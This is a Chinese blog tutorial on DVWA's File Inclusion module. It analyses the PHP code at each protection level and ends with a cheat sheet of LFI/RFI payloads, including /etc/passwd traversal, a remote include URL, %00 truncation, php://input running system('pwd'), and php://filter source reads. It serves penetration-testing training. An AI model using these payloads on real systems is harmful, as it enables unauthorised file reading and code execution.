DVWA使用教程(File Inclusion)(四)

DVWA使用教程(File Inclusion)(四)

DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是
1.Brute Force(爆破)
2.Command Injection(命令注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Uplod(文件上传)
6.Insecure CAPTCHA(不安全的验证码)
7.SQL Inj(SQL注入)
8.SQL B Inj(SQL盲注)
9.XSS-ref(反射型xss)
10.xss-stored(存储型xss)

一、    简介
文件包含漏洞是一种常见的漏洞。利用这个漏洞去包含危险文件,危险文件中有危险函数。
如此一来会造成信息泄露和恶意代码执行。 

二、    功能特点
文件包含功能使用include函数将web根目录以外的目录文件包含进来,文件包含功能给开发人员带来了便利。通过把常用的功能归类成文件,文件包含可以提高代码重用率。
文件包含漏洞是高危漏洞,往往会导致任意文件读取和任意命令执行,造成严重的安全后果。
文件包含往往要使用到目录遍历工具 

三、    各防护等级简介
low等级,对文件包含行为毫无设防。
medium等级,对文件包含行为防护不足,防护做法欠考虑。
hight等级,对文件包含行为有一定防护,但有疏忽。
impossible等级,对文件包含行为正确防护。

四、基础知识补充

1.文件包含分类:
LFI:本地文件包含(Local File Inclusion) 
RFI:远程文件包含(Remote File Inclusion)

2.相关的 php.ini 配置参数:
allow_url_fopen = on (默认开启) 
allow_url_include = on (默认关闭)

3.远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。

4.与文件包含有关的函数:
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

5.服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行。

五、low代码模块剖析
概述:low等级,对文件包含行为毫无设防。

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
?> 

根据代码可以得知:
1.URL参数输入,没有经过任何的过滤和检查,原封不动进行文件包含,并将结果返回。
2.如果是php文件将导致任意命令执行,如果不是php文件将导致任意文件读取。

执行结果:
A.    本地文件包含:

      
B.远程文件包含:


六、medium代码模块剖析
概述:medium等级,对命令注入行为防护不足,防护做法欠考虑。

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Input validation 
$file = str_replace( array( "http://", "https://" ), "", $file ); 
$file = str_replace( array( "../", "..\"" ), "", $file ); 
?> 

根据代码可以得知
1.URL参数输入,存在简单的过滤和检查。
2.用户输入部分使用str_replace()函数过滤,过滤(http://,https://,../,..\)
3.可以使用双写绕过防护措施,并且过滤非法字符是一种黑名单策略,这种策略不安全。
4.过滤措施对使用绝对路径方式进行文件包含无效。

执行结果:
A.本地文件包含: 


B.远程文件包含: 

七、High代码模块剖析
概述:hight等级,对命令注入行为有一定防护,但有疏忽。

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Input validation 
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { 
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 
} 
?>  

根据代码可以得知
1.URL参数输入,存在较严格的过滤和检查。
2.用户输入部分使用fnmatch()函数过滤,规定包含的文件名仅可以file开头。
3.可以使用file协议,绕过防护措施,并且过滤是一种黑名单策略,这种策略不安全。
4.过滤措施造成远程文件包含无法进行,但仍存在本地文件包含的风险。

执行结果:
A.本地文件包含: 


B.远程文件包含:无法绕过,已失效。可考虑在上传漏洞方向突破。

八、Impossible代码模块剖析
概述:impossible等级,对命令注入行为正确防护。

<?php 
// The page we wish to display 
$file = $_GET[ 'page' ]; 
// Only allow include.php or file{1..3}.php 
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { 
    // This isn't the page we want! 
    echo "ERROR: File not found!"; 
    exit; 
} 
?> 

根据代码可以得知
1.URL参数输入,存在白名单过滤。
2.参数内容为“include.php”、“file1.php”、“file2.php”、“file3.php”之一。
3.白名单策略,彻底杜绝了文件包含漏洞。

执行结果:
A.本地文件包含:无法绕过,已失效。
B.远程文件包含:无法绕过,已失效。
突破:可考虑在上传漏洞方向突破,设法把真正包含的文件掉包,换成恶意文件。

九、小结
进行文件包含漏洞黑盒测试的经典方法比较多,最常见的有,通过多个../可以让目录回到根目录中然后再进入目标目录。
常见的还有以下包含方法。
1、【?file=../../../../../etc/passwdd】
2、【?page=file:///etc/passwd】
3、【?home=main.cgi】
4、【?page=http://www.a.com/1.php】
5、【http://1.1.1.1/../../../../dir/file.txt】
6、【?page=file:///C:/123.txt】
编码绕过字符过滤
1、【可以使用多种编码方式进行绕过】把字符换成url编码进行尝试
2、【使用大小写进行尝试】
3、【%00嵌入任意位置】
    在php版本小于5.3.4的服务器中,当magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。
    http://x.com/?page=../../../dvwa/php.ini.php
    http://x.com/?page=../../../dvwa/php.ini%002.php
4、【.的利用】点代表当前目录,点点代表上一层目录。
5、【对于a-zA-Z这样的字符,浏览器在发送请求前会做解码;而对于URL不支持的字符,比如%20,浏览器不做解码的,%20解码发生在服务器上(apache/nginx)】
常见的包含位置
(1)php://input然后post提交<?php system('pwd');?>显示当前所在目录。
(1)访问敏感文件phpinfo。
(2)包含日志文件,access.log(Apache日志文件)。
白盒测试时,先检查allow_url_fopen、allow_url_include等危险函数是否开启。
(3)利用php伪协议读源码。【http://x.com/?page=php://filter/read=string.rot13/resource=include.php】
 

发布了96 篇原创文章 · 获赞 172 · 访问量 25万+

猜你喜欢

转载自blog.csdn.net/ai_64/article/details/92411131